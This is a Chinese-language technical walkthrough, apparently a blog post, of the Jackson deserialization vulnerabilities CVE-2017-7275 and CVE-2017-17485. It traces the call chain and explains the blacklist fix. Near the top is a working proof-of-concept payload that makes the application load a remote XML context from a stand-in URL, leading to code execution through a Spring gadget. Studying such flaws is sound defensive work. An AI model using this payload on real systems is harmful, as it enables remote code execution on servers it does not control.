![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLicmbw5SN0MDMiJjNhBjNzYmYlZTZhVWO1kDOlBDM5cjMiRWYj9CX0JXZ252bj91Ztl2Lc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
開始
我們來分析Jackson的反序列化漏洞,包含以下兩個CVE.
1. CVE-2017-7275
2. CVE-2017-17485
由于CVE-2017-7275采用黑名單的方法修複程式,CVE-2017-17485在繞過該黑名單.是以下文以CVE-2017-17485的demo作分析.
影響版本
- Jackson Version 2.7.* < 2.7.10
- Jackson Version 2.8.* < 2.8.9
debug環境
- jdk 1.8.0_181
- jackson 2.6.7
debug代碼
漏洞觸發的條件,以下滿足任意一個:
-
mapper.enableDefaultTyping();
-
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
-
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
String payload = "["org.springframework.context.support.ClassPathXmlApplicationContext", " +
""http://127.0.0.1/poc.xml"]n";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
原理分析
漏洞觸發入口:
mapper.readValue(payload, Object.class)
,跟進去,跳過一些不重要的過程,跳過的調用棧如下:
我們來看
_deserialize
的方法,源碼如下:
上述源碼中框起來的是三個關鍵的方法,先來看String typeId = _locateTypeId(p, ctxt);,這個方法名字就是定位類型id,什麼類型呢?當然是将要反序列化類的類型.跟進去,源碼如下:
從源碼可以發現,通過jp(jp就是jackson中解析json解析器,這是因為我們傳進去的是一個json array資料,在前面省略部分初始化的,有興趣可以debug看下)得到第一個string傳回.也就是我們的
org.springframework.context.support.ClassPathXmlApplicationContext
.具體的實作是首先疊代出jsontoken對象,判斷類型為string,接着調用
jp.getText()
擷取該值.
回過頭來繼續看第二個關鍵的方法
_findDeserializer
,傳進去的參數typeId的值為
org.springframework.context.support.ClassPathXmlApplicationContext
,源碼如下:
上述源碼,開始是從_deserializers(一個hashmap)去查找,當然為null,接着調用_idResolver.typeFromId,傳入的為type_id,跟進這個方法:
繼續跟進.
從上述源碼發現,調用findClass方法,傳入的id為先前的type_id,傳回的是一個class對象,可以推測裡面調用了class.forName方法.跟進去果然是這樣.
接着調用
constructSpecializedType
方法将剛才得到的class封裝成javaType并傳回,這樣
_idResolver.typeFromId
執行完了. 再看
_findDeserializer
方法的下面的操作,來看
deser = ctxt.findContextualValueDeserializer(type, _property)
,裡面調用有點長,有些不太清楚,主要的操作将剛才封裝的JavaType繼續封裝成BeanDeserializer(可以了解為待執行個體化的bean類,繼承JsonDeserializer).接着存入
_deserializers
中.至此,第二個關鍵方法
_findDeserializer
的操作結束. 做個小結吧.
_findDeserializer
,首先通過
typeFromId
方法做了兩件事: 1. 讀取傳入的
org.springframework.context.support.ClassPathXmlApplicationContext
. 2. 反射
org.springframework.context.support.ClassPathXmlApplicationContext
生成對應的class,并封裝在javaType類中.
接着調用
ctxt.findContextualValueDeserializer
轉化成待執行個體化對象.那麼接下來要做的應該是讀取傳入的
http://127.0.0.1/poc.xml
,并作為org.springframework.context.support.ClassPathXmlApplicationContext的參數執行個體化該類. 最後我們來看第三個關鍵方法是不是這樣的.跟進
deser.deserialize(p, ctxt)
.源碼如下:
從上述源碼中可以看到,首先調用p.nextToken(),和上面擷取
org.springframework.context.support.ClassPathXmlApplicationContext
一樣.接着調用p.getCurrentToken()擷取目前值的類型.最後在
_deserializeOther
中進行進一步處理.跟進
_deserializeOther
.
跟進
deserializeFromString(p, ctxt)
.
_objectIdReader=null
,繼續跟進_valueInstantiator.createFromString(ctxt, p.getText()).傳入的p.getText()的值為
http://127.0.0.1/poc.xml
.
看到這個call(有調用的意思),感覺接近了.繼續跟進:
終于我們看到了以
http://127.0.0.1/poc.xml
為參數對
org.springframework.context.support.ClassPathXmlApplicationContext.
進行執行個體化.後面就會觸發漏洞了.
兩個問題
一. 為什麼要求mapper.enableDefaultTyping()?
先看一下mapper.enableDefaultTyping()設定了以下參數.
其中最關鍵的設定了
_typeResolverBuilder
. 我們再來對比一下
_readMapAndClose
.源碼如下:其中
result = deser.deserialize(jp, ctxt);
,就是我們分析的入口.
1.未設定enableDefaultTyping
2.設定enableDefaultTyping
可以發現,一個得到的是UntypeedObjectContext,另一個是DefaultCOntext.這就是設定原因. 在
_findRootDeserializer
裡面的有一個操作來判斷的:
從源碼中可以發現,通過config.getDefaultTyper擷取預設的類型.跟進其中.
裡面其實就是判斷是否設定_typeResolverBuilder,沒有就會傳回null,為UnTyped.
二. org.springframework.context.support.ClassPathXmlApplicationContext的利用鍊?
該利用鍊的原理就是spel注入.先貼個别人的文章,後續去debug分析分析.
SpEL表達式注入漏洞總結
修複
修複debug版本使用的是2.8.10. 修複出現在前面所說的封裝BeanDeserializer前,加入黑名單判斷,源碼如下:
可以發現,在最終傳回前調用了
_validateSubType
(驗證類型)方法.跟進看看:
可以發現,裡面就是黑名單的判斷.其中
_cfgIllegalClassNames
為一個set集合.資料如下: